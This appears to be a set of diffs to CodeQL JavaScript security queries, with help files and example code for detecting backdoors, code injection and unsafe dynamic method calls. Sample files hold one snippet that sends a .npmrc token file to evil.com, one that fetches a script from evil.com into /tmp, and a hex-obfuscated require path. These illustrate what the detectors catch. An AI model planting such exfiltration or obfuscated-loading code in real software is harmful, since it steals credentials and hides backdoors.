/** Holds if `p` is declared as a property of a DOM class or interface. */
pragma[nomagic]
predicate isDOMProperty(string p) {
exists (ExternalMemberDecl emd | emd.getName() = p |
isDOMRootType(emd.getDeclaringType().getASupertype*())

View File

@@ -16,5 +16,6 @@ private import semmle.javascript.dataflow.InferredTypes
from InvokeExpr invk, DataFlow::AnalyzedNode callee
where callee.asExpr() = invk.getCallee() and
forex (InferredType tp | tp = callee.getAType() | tp != TTFunction() and tp != TTClass()) and
not invk.isAmbient()
not invk.isAmbient() and
not invk instanceof OptionalUse
select invk, "Callee is not a function: it has type " + callee.ppTypes() + "."

View File

@@ -32,5 +32,6 @@ from PropAccess pacc, DataFlow::AnalyzedNode base
where base.asExpr() = pacc.getBase() and
forex (InferredType tp | tp = base.getAType() | tp = TTNull() or tp = TTUndefined()) and
not namespaceOrConstEnumAccess(pacc.getBase()) and
not pacc.isAmbient()
not pacc.isAmbient() and
not pacc instanceof OptionalUse
select pacc, "The base expression of this property access is always " + base.ppTypes() + "."

View File

@@ -56,26 +56,60 @@ predicate calls(DataFlow::InvokeNode cs, Function callee, int imprecision) {
/**
* Gets a function that may be invoked at `cs`, preferring callees that
* are less likely to be derived due to analysis imprecision.
* are less likely to be derived due to analysis imprecision and excluding
* whitelisted call sites and callees. Additionally, `isNew` is bound to
* `true` if `cs` is a `new` expression, and to `false` otherwise.
*/
Function getALikelyCallee(DataFlow::InvokeNode cs) {
calls(cs, result, min(int p | calls(cs, _, p)))
Function getALikelyCallee(DataFlow::InvokeNode cs, boolean isNew) {
calls(cs, result, min(int p | calls(cs, _, p))) and
not cs.isUncertain() and
not whitelistedCall(cs) and
not whitelistedCallee(result) and
(cs instanceof DataFlow::NewNode and isNew = true
or
cs instanceof DataFlow::CallNode and isNew = false)
}
/**
* Holds if `f` should be whitelisted, either because it guards against
* inconsistent `new` or we do not want to report it.
*/
predicate whitelistedCallee(Function f) {
// externs are special, so don't flag them
f.inExternsFile() or
// illegal constructor calls are flagged by query 'Illegal invocation',
// so don't flag them
f instanceof Constructor or
// if `f` itself guards against missing `new`, don't flag it
guardsAgainstMissingNew(f)
}
/**
* Holds if `call` should be whitelisted because it cannot cause problems
* with inconsistent `new`.
*/
predicate whitelistedCall(DataFlow::CallNode call) {
// super constructor calls behave more like `new`, so don't flag them
call.asExpr() instanceof SuperCall or
// don't flag if there is a receiver object
exists(call.getReceiver())
}
/**
* Get the `new` or call (depending on whether `isNew` is true or false) of `f`
* that comes first under a lexicographical ordering by file path, start line
* and start column.
*/
DataFlow::InvokeNode getFirstInvocation(Function f, boolean isNew) {
result = min(DataFlow::InvokeNode invk, string path, int line, int col |
f = getALikelyCallee(invk, isNew) and invk.hasLocationInfo(path, line, col, _, _) |
invk order by path, line, col
)
}
from Function f, DataFlow::NewNode new, DataFlow::CallNode call
where // externs are special, so don't flag them
not f.inExternsFile() and
// illegal constructor calls are flagged by query 'Illegal invocation',
// so don't flag them
not f instanceof Constructor and
f = getALikelyCallee(new) and
f = getALikelyCallee(call) and
not guardsAgainstMissingNew(f) and
not new.isUncertain() and
not call.isUncertain() and
// super constructor calls behave more like `new`, so don't flag them
not call.asExpr() instanceof SuperCall and
// don't flag if there is a receiver object
not exists(call.getReceiver())
select (FirstLineOf)f, capitalize(f.describe()) + " is invoked as a constructor here $@, " +
"and as a normal function here $@.", new, new.toString(), call, call.toString()
where new = getFirstInvocation(f, true) and
call = getFirstInvocation(f, false)
select (FirstLineOf)f, capitalize(f.describe()) + " is sometimes invoked as a constructor " +
"(for example $@), and sometimes as a normal function (for example $@).",
new, "here", call, "here"

View File

@@ -1,8 +0,0 @@
Manifest-Version: 1.0
Bundle-ManifestVersion: 2
Bundle-Name: Semmle JavaScript Default Queries
Bundle-SymbolicName: com.semmle.plugin.semmlecode.javascript.queries;singleton:=true
Bundle-Version: 1.18.3.qualifier
Bundle-Vendor: Semmle Ltd.
Bundle-ActivationPolicy: lazy
Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]"

View File

@@ -78,17 +78,21 @@ predicate isDerivedFromLength(DataFlow::Node length, DataFlow::Node operand) {
exists (IndexOfCall call | operand = call.getAnOperand() |
length = getStringSource(operand).getAPropertyRead("length")
or
// Find a literal length with the same string constant
exists (LiteralLengthExpr lengthExpr |
lengthExpr.getContainer() = call.getContainer() and
lengthExpr.getBaseValue() = operand.asExpr().getStringValue() and
length = lengthExpr.flow())
or
// Find an integer constants that equals the length of string constant
exists (Expr lengthExpr |
lengthExpr.getContainer() = call.getContainer() and
lengthExpr.getIntValue() = operand.asExpr().getStringValue().length() and
length = lengthExpr.flow())
exists (string val | val = operand.asExpr().getStringValue() |
// Find a literal length with the same string constant
exists (LiteralLengthExpr lengthExpr |
lengthExpr.getContainer() = call.getContainer() and
lengthExpr.getBaseValue() = val and
length = lengthExpr.flow()
)
or
// Find an integer constant that equals the length of string constant
exists (Expr lengthExpr |
lengthExpr.getContainer() = call.getContainer() and
lengthExpr.getIntValue() = val.length() and
length = lengthExpr.flow()
)
)
)
or
isDerivedFromLength(length.getAPredecessor(), operand)

View File

@@ -0,0 +1,53 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>
<overview>
<p>
Calling a user-controlled method on certain objects can lead to invocation of unsafe functions,
such as <code>eval</code> or the <code>Function</code> constructor. In particular, the global object
contains the <code>eval</code> function, and any function object contains the <code>Function</code> constructor
in its <code>constructor</code> property.
</p>
</overview>
<recommendation>
<p>
Avoid invoking user-controlled methods on the global object or on any function object.
Whitelist the permitted method names or change the type of object the methods are stored on.
</p>
</recommendation>
<example>
<p>
In the following example, a message from the document's parent frame can invoke the <code>play</code>
or <code>pause</code> method. However, it can also invoke <code>eval</code>.
A malicious website could embed the page in an iframe and execute arbitrary code by sending a message
with the name <code>eval</code>.
</p>
<sample src="examples/UnsafeDynamicMethodAccess.js" />
<p>
Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good
practice to prevent invocation of inherited methods like <code>toString</code> and <code>valueOf</code>.
</p>
<sample src="examples/UnsafeDynamicMethodAccessGood.js" />
</example>
<references>
<li>
OWASP:
<a href="https://www.owasp.org/index.php/Code_Injection">Code Injection</a>.
</li>
<li>
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties">Global functions</a>.
</li>
<li>
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function constructor</a>.
</li>
</references>
</qhelp>

View File

@@ -0,0 +1,17 @@
/**
* @name Unsafe dynamic method access
* @description Invoking user-controlled methods on certain objects can lead to remote code execution.
* @kind path-problem
* @problem.severity error
* @precision high
* @id js/unsafe-dynamic-method-access
* @tags security
* external/cwe/cwe-094
*/
import javascript
import semmle.javascript.security.dataflow.UnsafeDynamicMethodAccess::UnsafeDynamicMethodAccess
import DataFlow::PathGraph
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Invocation of method derived from $@ may lead to remote code execution.", source.getNode(), "user-controlled value"

View File

@@ -0,0 +1,14 @@
// API methods
function play(data) {
// ...
}
function pause(data) {
// ...
}
window.addEventListener("message", (ev) => {
let message = JSON.parse(ev.data);
// Let the parent frame call the 'play' or 'pause' function
window[message.name](message.payload);
});

View File

@@ -0,0 +1,19 @@
// API methods
let api = {
play: function(data) {
// ...
},
pause: function(data) {
// ...
}
};
window.addEventListener("message", (ev) => {
let message = JSON.parse(ev.data);
// Let the parent frame call the 'play' or 'pause' function
if (!api.hasOwnProperty(message.name)) {
return;
}
api[message.name](message.payload);
});

View File

@@ -0,0 +1,37 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>
<overview>
<p>
Sending local file system data to a remote URL without further
validation risks uncontrolled information exposure, and may be
an indication of malicious backdoor code that has been
implanted into an otherwise trusted code base.
</p>
</overview>
<recommendation>
<p>
Examine the highlighted code closely to ensure that it is
behaving as intended.
</p>
</recommendation>
<example>
<p>
The following example is adapted from backdoor code that was identified in two
popular npm packages. It reads the contents of the <code>.npmrc</code> file
(which may contain secret npm tokens) and sends it to a remote server by
embedding it into an HTTP request header.
</p>
<sample src="examples/FileAccessToHttp.js"/>
</example>
<references>
<li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
<li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
</references>
</qhelp>

View File

@@ -0,0 +1,10 @@
var fs = require("fs"),
https = require("https");
var content = fs.readFileSync(".npmrc", "utf8");
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: content }
}, () => { });

View File

@@ -6,31 +6,22 @@
<overview>
<p>
Dynamically computing object property names from untrusted input
may have multiple undesired consequences. For example,
if the property access is used as part of a write, an
attacker may overwrite vital properties of objects, such as
<code>__proto__</code>. This attack is known as <i>prototype
pollution attack</i> and may serve as a vehicle for denial-of-service
attacks. A similar attack vector, is to replace the
<code>toString</code> property of an object with a primitive.
Whenever <code>toString</code> is then called on that object, either
explicitly or implicitly as part of a type coercion, an exception
may have multiple undesired consequences. For example,
if the property access is used as part of a write, an
attacker may overwrite vital properties of objects, such as
<code>__proto__</code>. This attack is known as <i>prototype
pollution attack</i> and may serve as a vehicle for denial-of-service
attacks. A similar attack vector, is to replace the
<code>toString</code> property of an object with a primitive.
Whenever <code>toString</code> is then called on that object, either
explicitly or implicitly as part of a type coercion, an exception
will be raised.
</p>
<p>
Moreover, if the dynamically computed property is
used as part of a method call, the attacker may trigger
the execution of unwanted functions such as the
<code>Function</code> constructor or the
<code>eval</code> method, which can be used
for code injection.
</p>
<p>
Additionally, if the name of an HTTP header is user-controlled,
an attacker may exploit this to overwrite security-critical headers
such as <code>Access-Control-Allow-Origin</code> or
Moreover, if the name of an HTTP header is user-controlled,
an attacker may exploit this to overwrite security-critical headers
such as <code>Access-Control-Allow-Origin</code> or
<code>Content-Security-Policy</code>.
</p>
</overview>
@@ -38,57 +29,57 @@
<recommendation>
<p>
The most common case in which prototype pollution vulnerabilities arise
is when JavaScript objects are used for implementing map data
structures. This case should be avoided whenever possible by using the
ECMAScript 2015 <code>Map</code> instead. When this is not possible, an
alternative fix is to prepend untrusted input with a marker character
such as <code>$</code>, before using it in properties accesses. In this way,
the attacker does not have access to built-in properties which do not
start with the chosen character.
is when JavaScript objects are used for implementing map data
structures. This case should be avoided whenever possible by using the
ECMAScript 2015 <code>Map</code> instead. When this is not possible, an
alternative fix is to prepend untrusted input with a marker character
such as <code>$</code>, before using it in properties accesses. In this way,
the attacker does not have access to built-in properties which do not
start with the chosen character.
</p>
<p>
When using user input as part of header or method names, a sanitization
step should be performed on the input to ensure that the name does not
clash with existing property and header names such as
<code>__proto__</code> or <code>Content-Security-Policy</code>.
When using user input as part of a header name, a sanitization
step should be performed on the input to ensure that the name does not
clash with existing header names such as
<code>Content-Security-Policy</code>.
</p>
</recommendation>
<example>
<p>
In the example below, the dynamically computed property
<code>prop</code> is accessed on <code>myObj</code> using a
In the example below, the dynamically computed property
<code>prop</code> is accessed on <code>myObj</code> using a
user-controlled value.
</p>
<sample src="examples/RemotePropertyInjection.js"/>
<p>
This is not secure since an attacker may exploit this code to
This is not secure since an attacker may exploit this code to
overwrite the property <code>__proto__</code> with an empty function.
If this happens, the concatenation in the <code>console.log</code>
argument will fail with a confusing message such as
If this happens, the concatenation in the <code>console.log</code>
argument will fail with a confusing message such as
"Function.prototype.toString is not generic". If the application does
not properly handle this error, this scenario may result in a serious
denial-of-service attack. The fix is to prepend the user-controlled
string with a marker character such as <code>$</code> which will
prevent arbitrary property names from being overwritten.
denial-of-service attack. The fix is to prepend the user-controlled
string with a marker character such as <code>$</code> which will
prevent arbitrary property names from being overwritten.
</p>
<sample src="examples/RemotePropertyInjection_fixed.js"/>
</example>
<references>
<li>Prototype pollution attacks:
<li>Prototype pollution attacks:
<a href="https://github.com/electron/electron/pull/9287">electron</a>,
<a href="https://hackerone.com/reports/310443">lodash</a>,
<a href="https://nodesecurity.io/advisories/566">hoek</a>.
</li>
<li> Penetration testing report:
<li> Penetration testing report:
<a href="http://seclists.org/pen-test/2009/Mar/67">
header name injection attack</a>
</li>
<li> npm blog post:
<li> npm blog post:
<a href="https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security">
dangers of square bracket notation</a>
</li>

View File

@@ -1,8 +1,7 @@
/**
* @name Remote property injection
* @description Allowing writes to arbitrary properties or calls to arbitrary
* methods of an object may lead to denial-of-service attacks.
*
* @description Allowing writes to arbitrary properties of an object may lead to
* denial-of-service attacks.
* @kind path-problem
* @problem.severity warning
* @precision medium

View File

@@ -0,0 +1,46 @@
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
<qhelp>
<overview>
<p>
Interpreting hard-coded data, such as string literals containing hexadecimal numbers,
as code or as an import path is typical of malicious backdoor code that has been
implanted into an otherwise trusted code base and is trying to hide its true purpose
from casual readers or automated scanning tools.
</p>
</overview>
<recommendation>
<p>
Examine the code in question carefully to ascertain its provenance and its true purpose.
If the code is benign, it should always be possible to rewrite it without relying
on dynamically interpreting data as code, improving both clarity and safety.
</p>
</recommendation>
<example>
<p>
As an example of malicious code using this obfuscation technique, consider the following
simplified version of a snippet of backdoor code that was discovered in a dependency of
the popular <code>event-stream</code> npm package:
</p>
<sample src="examples/HardcodedDataInterpretedAsCode.js"/>
<p>
While this shows only the first few lines of code, it already looks very suspicious
since it takes a hard-coded string literal, hex-decodes it and then uses it as an
import path. The only reason to do so is to hide the name of the file being imported.
</p>
</example>
<references>
<li>
OWASP:
<a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.
</li>
<li>
The npm Blog:
<a href="https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident">Details about the event-stream incident</a>.
</li>
</references>
</qhelp>

View File

@@ -0,0 +1,22 @@
/**
* @name Hard-coded data interpreted as code
* @description Transforming hard-coded data (such as hexadecimal constants) into code
* to be executed is a technique often associated with backdoors and should
* be avoided.
* @kind path-problem
* @problem.severity error
* @precision medium
* @id js/hardcoded-data-interpreted-as-code
* @tags security
* external/cwe/cwe-506
*/
import javascript
import semmle.javascript.security.dataflow.HardcodedDataInterpretedAsCode::HardcodedDataInterpretedAsCode
import DataFlow::PathGraph
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
"Hard-coded data from $@ is interpreted as " + sink.getNode().(Sink).getKind() + ".",
source.getNode(), "here"

View File

@@ -0,0 +1,8 @@
var r = require;
function e(r) {
return Buffer.from(r, "hex").toString()
}
// BAD: hexadecimal constant decoded and interpreted as import path
var n = r(e("2e2f746573742f64617461"));

View File

@@ -0,0 +1,86 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>
<overview>
<p>
JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods
can be looked up by name and then called. However, if the method name is user-controlled, an attacker
could choose a name that makes the application invoke an unexpected method, which may cause a runtime
exception. If this exception is not handled, it could be used to mount a denial-of-service attack.
</p>
<p>
For example, there might not be a method of the given name, or the result of the lookup might not be
a function. In either case the method call will throw a <code>TypeError</code> at runtime.
</p>
<p>
Another, more subtle example is where the result of the lookup is a standard library method from
<code>Object.prototype</code>, which most objects have on their prototype chain. Examples of such
methods include <code>valueOf</code>, <code>hasOwnProperty</code> and <code>__defineSetter__</code>.
If the method call passes the wrong number or kind of arguments to these methods, they will
throw an exception.
</p>
</overview>
<recommendation>
<p>
It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance
by using a <code>Map</code> instead of a plain object.
</p>
<p>
If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At
the very least, check that the method is an own property and not inherited from the prototype object.
If the object on which the method is looked up contains properties that are not methods, you
should additionally check that the result of the lookup is a function. Even if the object only
contains methods, it is still a good idea to perform this check in case other properties are
added to the object later on.
</p>
</recommendation>
<example>
<p>
In the following example, an HTTP request parameter <code>action</code> property is used to dynamically
look up a function in the <code>actions</code> map, which is then invoked with the <code>payload</code>
parameter as its argument.
</p>
<sample src="examples/UnvalidatedDynamicMethodCall.js" />
<p>
The intention is to allow clients to invoke the <code>play</code> or <code>pause</code> method, but there
is no check that <code>action</code> is actually the name of a method stored in <code>actions</code>.
If, for example, <code>action</code> is <code>rewind</code>, <code>action</code> will be <code>undefined</code>
and the call will result in a runtime error.
</p>
<p>
The easiest way to prevent this is to turn <code>actions</code> into a <code>Map</code> and using
<code>Map.prototype.has</code> to check whether the method name is valid before looking it up.
</p>
<sample src="examples/UnvalidatedDynamicMethodCallGood.js" />
<p>
If <code>actions</code> cannot be turned into a <code>Map</code>, a <code>hasOwnProperty</code>
check should be added to validate the method name:
</p>
<sample src="examples/UnvalidatedDynamicMethodCallGood2.js" />
</example>
<references>
<li>
OWASP:
<a href="https://www.owasp.org/index.php/Denial_of_Service">Denial of Service</a>.
</li>
<li>
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>.
</li>
<li>
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>.
</li>
</references>
</qhelp>

View File

@@ -0,0 +1,21 @@
/**
* @name Unvalidated dynamic method call
* @description Calling a method with a user-controlled name may dispatch to
* an unexpected target, which could cause an exception.
* @kind path-problem
* @problem.severity warning
* @precision high
* @id js/unvalidated-dynamic-method-call
* @tags security
* external/cwe/cwe-754
*/
import javascript
import semmle.javascript.security.dataflow.UnvalidatedDynamicMethodCall::UnvalidatedDynamicMethodCall
import DataFlow::PathGraph
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
"Invocation of method with $@ name may dispatch to unexpected target and cause an exception.",
source.getNode(), "user-controlled"

View File

@@ -0,0 +1,17 @@
var express = require('express');
var app = express();
var actions = {
play(data) {
// ...
},
pause(data) {
// ...
}
}
app.get('/perform/:action/:payload', function(req, res) {
let action = actions[req.params.action];
// BAD: `action` may not be a function
res.end(action(req.params.payload));
});

View File

@@ -0,0 +1,20 @@
var express = require('express');
var app = express();
var actions = new Map();
actions.put("play", function play(data) {
// ...
});
actions.put("pause", function pause(data) {
// ...
});
app.get('/perform/:action/:payload', function(req, res) {
if (actions.has(req.params.action)) {
let action = actions.get(req.params.action);
// GOOD: `action` is either the `play` or the `pause` function from above
res.end(action(req.params.payload));
} else {
res.end("Unsupported action.");
}
});

View File

@@ -0,0 +1,23 @@
var express = require('express');
var app = express();
var actions = {
play(data) {
// ...
},
pause(data) {
// ...
}
}
app.get('/perform/:action/:payload', function(req, res) {
if (actions.hasOwnProperty(req.params.action)) {
let action = actions[req.params.action];
if (typeof action === 'function') {
// GOOD: `action` is an own method of `actions`
res.end(action(req.params.payload));
return;
}
}
res.end("Unsupported action.");
});

View File

@@ -0,0 +1,43 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>
<overview>
<p>
Storing user-controlled data on the local file system without
further validation allows arbitrary file upload, and may be
an indication of malicious backdoor code that has been
implanted into an otherwise trusted code base.
</p>
</overview>
<recommendation>
<p>
Examine the highlighted code closely to ensure that it is
behaving as intended.
</p>
</recommendation>
<example>
<p>
The following example shows backdoor code that downloads data
from the URL <code>https://evil.com/script</code>, and stores
it in the local file <code>/tmp/script</code>.
</p>
<sample src="examples/HttpToFileAccess.js"/>
<p>
Other parts of the program might then assume that since
<code>/tmp/script</code> is a local file its contents can be
trusted, while in fact they are obtained from an untrusted
remote source.
</p>
</example>
<references>
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
</references>
</qhelp>

View File

@@ -6,6 +6,7 @@
* @id js/http-to-file-access
* @tags security
* external/cwe/cwe-912
* external/cwe/cwe-434
*/
import javascript

View File

@@ -0,0 +1,8 @@
var https = require("https");
var fs = require("fs");
https.get('https://evil.com/script', res => {
res.on("data", d => {
fs.writeFileSync("/tmp/script", d)
})
});

View File

@@ -1,16 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<?eclipse version="3.2"?>
<plugin>
<extension point="com.semmle.plugin.qdt.ui.resources">
<name value="semmlecode-javascript-queries"/>
</extension>
<extension point="com.semmle.plugin.qdt.ui.resources">
<name value="com.semmle.code.javascript.library"/>
</extension>
<extension point="com.semmle.plugin.qdt.ui.resources">
<name value="com.semmle.code.javascript.dbscheme"/>
<path value="/semmlecode.javascript.dbscheme"/>
</extension>
</plugin>

View File

@@ -1288,6 +1288,15 @@ class LogOrExpr extends @logorexpr, BinaryExpr {
override ControlFlowNode getFirstControlFlowNode() { result = this }
}
/** A nullish coalescing '??' expression. */
class NullishCoalescingExpr extends @nullishcoalescingexpr, BinaryExpr {
override string getOperator() {
result = "??"
}
override ControlFlowNode getFirstControlFlowNode() { result = this }
}
/**
* A logical binary expression, that is, either a logical
* 'or' or a logical 'and' expression.
@@ -1295,7 +1304,8 @@ class LogOrExpr extends @logorexpr, BinaryExpr {
class LogicalBinaryExpr extends BinaryExpr {
LogicalBinaryExpr() {
this instanceof LogAndExpr or
this instanceof LogOrExpr
this instanceof LogOrExpr or
this instanceof NullishCoalescingExpr
}
}
@@ -1901,4 +1911,36 @@ private class LiteralDynamicImportPath extends PathExprInModule, ConstantString
}
override string getValue() { result = this.(ConstantString).getStringValue() }
}
}
/**
* A call or member access that evaluates to `undefined` if its base operand evaluates to `undefined` or `null`.
*/
class OptionalUse extends Expr, @optionalchainable { OptionalUse() { isOptionalChaining(this) } }
private class ChainElem extends Expr, @optionalchainable {
/**
* Gets the base operand of this chainable element.
*/
ChainElem getChainBase() {
result = this.(CallExpr).getCallee() or
result = this.(PropAccess).getBase()
}
}
/**
* The root in a chain of calls or property accesses, where at least one call or property access is optional.
*/
class OptionalChainRoot extends ChainElem {
OptionalUse optionalUse;
OptionalChainRoot() {
getChainBase*() = optionalUse and
not exists(ChainElem other | this = other.getChainBase())
}
/**
* Gets an optional call or property access in the chain of this root.
*/
OptionalUse getAnOptionalUse() { result = optionalUse }
}

View File

@@ -132,7 +132,13 @@ predicate findNodeModulesFolder(Folder f, Folder nodeModules, int distance) {
*/
private class RequireVariable extends Variable {
RequireVariable() {
exists (ModuleScope m | this = m.getVariable("require"))
this = any(ModuleScope m).getVariable("require")
or
// cover cases where we failed to detect Node.js code
this.(GlobalVariable).getName() = "require"
or
// track through assignments to other variables
this.getAnAssignedExpr().(VarAccess).getVariable() instanceof RequireVariable
}
}
@@ -149,7 +155,9 @@ private predicate moduleInFile(Module m, File f) {
class Require extends CallExpr, Import {
Require() {
exists (RequireVariable req |
this.getCallee() = req.getAnAccess()
this.getCallee() = req.getAnAccess() and
// `mjs` files explicitly disallow `require`
getFile().getExtension() != "mjs"
)
}

View File

@@ -413,3 +413,15 @@ private class AnalyzedAssignAddExpr extends AnalyzedCompoundAssignExpr {
isAddition(astNode) and result = abstractValueOfType(TTNumber())
}
}
/**
* Flow analysis for optional chaining expressions.
*/
private class AnalyzedOptionalChainExpr extends DataFlow::AnalyzedValueNode {
override OptionalChainRoot astNode;
override AbstractValue getALocalValue() {
result = super.getALocalValue() or
result = TAbstractUndefined()
}
}

View File

@@ -157,6 +157,10 @@ abstract class CallWithNonLocalAnalyzedReturnFlow extends DataFlow::AnalyzedValu
override AbstractValue getAValue() {
result = getACallee().getAReturnValue()
or
// special case from the local layer (could be more precise if it is inferred that the callee is not `null`/`undefined`)
astNode instanceof OptionalChainRoot and
result = TAbstractUndefined()
}
}

View File

@@ -297,7 +297,22 @@ module NodeJSLib {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
pred = tainted and succ = this
}
}
/**
* A model of taint propagation through `new Buffer` and `Buffer.from`.
*/
private class BufferTaintStep extends TaintTracking::AdditionalTaintStep, DataFlow::InvokeNode {
BufferTaintStep() {
this = DataFlow::globalVarRef("Buffer").getAnInstantiation()
or
this = DataFlow::globalVarRef("Buffer").getAMemberInvocation("from")
}
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
pred = getArgument(0) and
succ = this
}
}
/**

View File

@@ -0,0 +1,97 @@
/**
* Provides a taint-tracking configuration for reasoning about hard-coded data
* being interpreted as code.
*/
import javascript
private import semmle.javascript.security.dataflow.CodeInjection
module HardcodedDataInterpretedAsCode {
/**
* A data flow source for hard-coded data.
*/
abstract class Source extends DataFlow::Node {
/** Gets a flow label for which this is a source. */
DataFlow::FlowLabel getLabel() {
result = DataFlow::FlowLabel::data()
}
}
/**
* A data flow sink for code injection.
*/
abstract class Sink extends DataFlow::Node {
/** Gets a flow label for which this is a sink. */
abstract DataFlow::FlowLabel getLabel();
/** Gets a description of what kind of sink this is. */
abstract string getKind();
}
/**
* A sanitizer for hard-coded data.
*/
abstract class Sanitizer extends DataFlow::Node {}
/**
* A taint-tracking configuration for reasoning about hard-coded data
* being interpreted as code
*/
class Configuration extends TaintTracking::Configuration {
Configuration() {
this = "HardcodedDataInterpretedAsCode"
}
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel lbl) {
source.(Source).getLabel() = lbl
}
override predicate isSink(DataFlow::Node nd, DataFlow::FlowLabel lbl) {
nd.(Sink).getLabel() = lbl
}
override predicate isSanitizer(DataFlow::Node node) {
node instanceof Sanitizer
}
}
/**
* A constant string consisting of eight or more hexadecimal characters (including at
* least one digit), viewed as a source of hard-coded data that should not be
* interpreted as code.
*/
private class DefaultSource extends Source, DataFlow::ValueNode {
DefaultSource() {
exists (string val | val = astNode.(Expr).getStringValue() |
val.regexpMatch("[0-9a-fA-F]{8,}") and
val.regexpMatch(".*[0-9].*")
)
}
}
/**
* A code injection sink; hard-coded data should not flow here.
*/
private class DefaultCodeInjectionSink extends Sink {
DefaultCodeInjectionSink() { this instanceof CodeInjection::Sink }
override DataFlow::FlowLabel getLabel() { result = DataFlow::FlowLabel::taint() }
override string getKind() { result = "code" }
}
/**
* An argument to `require` path; hard-coded data should not flow here.
*/
private class RequireArgumentSink extends Sink {
RequireArgumentSink() {
this = any(Require r).getAnArgument().flow()
}
override DataFlow::FlowLabel getLabel() {
result = DataFlow::FlowLabel::data()
or
result = DataFlow::FlowLabel::taint()
}
override string getKind() { result = "an import path" }
}
}

View File

@@ -0,0 +1,47 @@
/**
* Provides predicates for reasoning about flow of user-controlled values that are used
* as property names.
*/
import javascript
module PropertyInjection {
/**
* A data-flow node that sanitizes user-controlled property names that flow through it.
*/
abstract class Sanitizer extends DataFlow::Node {
}
/**
* Concatenation with a constant, acting as a sanitizer.
*/
private class ConcatSanitizer extends Sanitizer {
ConcatSanitizer() {
StringConcatenation::getAnOperand(this).asExpr() instanceof ConstantString
}
}
/**
* Holds if the methods of the given value are unsafe, such as `eval`.
*/
predicate hasUnsafeMethods(DataFlow::SourceNode node) {
// eval and friends can be accessed from the global object.
node = DataFlow::globalObjectRef()
or
// document.write can be accessed
isDocument(node.asExpr())
or
// 'constructor' property leads to the Function constructor.
node.analyze().getAValue() instanceof AbstractCallable
or
// Assume that a value that is invoked can refer to a function.
exists (node.getAnInvocation())
}
/**
* Holds if the `node` is of form `Object.create(null)` and so it has no prototype.
*/
predicate isPrototypeLessObject(DataFlow::MethodCallNode node) {
node = DataFlow::globalVarRef("Object").getAMethodCall("create") and
node.getArgument(0).asExpr() instanceof NullLiteral
}
}

View File

@@ -1,11 +1,12 @@
/**
* Provides a taint tracking configuration for reasoning about injections in
* property names, used either for writing into a property, into a header or
* Provides a taint tracking configuration for reasoning about injections in
* property names, used either for writing into a property, into a header or
* for calling an object's method.
*/
import javascript
import semmle.javascript.frameworks.Express
import PropertyInjectionShared
module RemotePropertyInjection {
/**
@@ -17,11 +18,11 @@ module RemotePropertyInjection {
* A data flow sink for remote property injection.
*/
abstract class Sink extends DataFlow::Node {
/**
* Gets a string to identify the different types of sinks.
*/
abstract string getMessage();
abstract string getMessage();
}
/**
@@ -45,78 +46,50 @@ module RemotePropertyInjection {
override predicate isSanitizer(DataFlow::Node node) {
super.isSanitizer(node) or
node instanceof Sanitizer
node instanceof Sanitizer or
node instanceof PropertyInjection::Sanitizer
}
}
/**
* A source of remote user input, considered as a flow source for remote property
* injection.
* A source of remote user input, considered as a flow source for remote property
* injection.
*/
class RemoteFlowSourceAsSource extends Source {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
}
/**
* A sink for property writes with dynamically computed property name.
* A sink for property writes with dynamically computed property name.
*/
class PropertyWriteSink extends Sink, DataFlow::ValueNode {
PropertyWriteSink() {
exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or
exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode)
exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or
exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode)
}
override string getMessage() {
result = " a property name to write to."
}
}
/**
* A sink for method calls using dynamically computed method names.
*/
class MethodCallSink extends Sink, DataFlow::ValueNode {
MethodCallSink() {
exists (DataFlow::PropRead pr | astNode = pr.getPropertyNameExpr() |
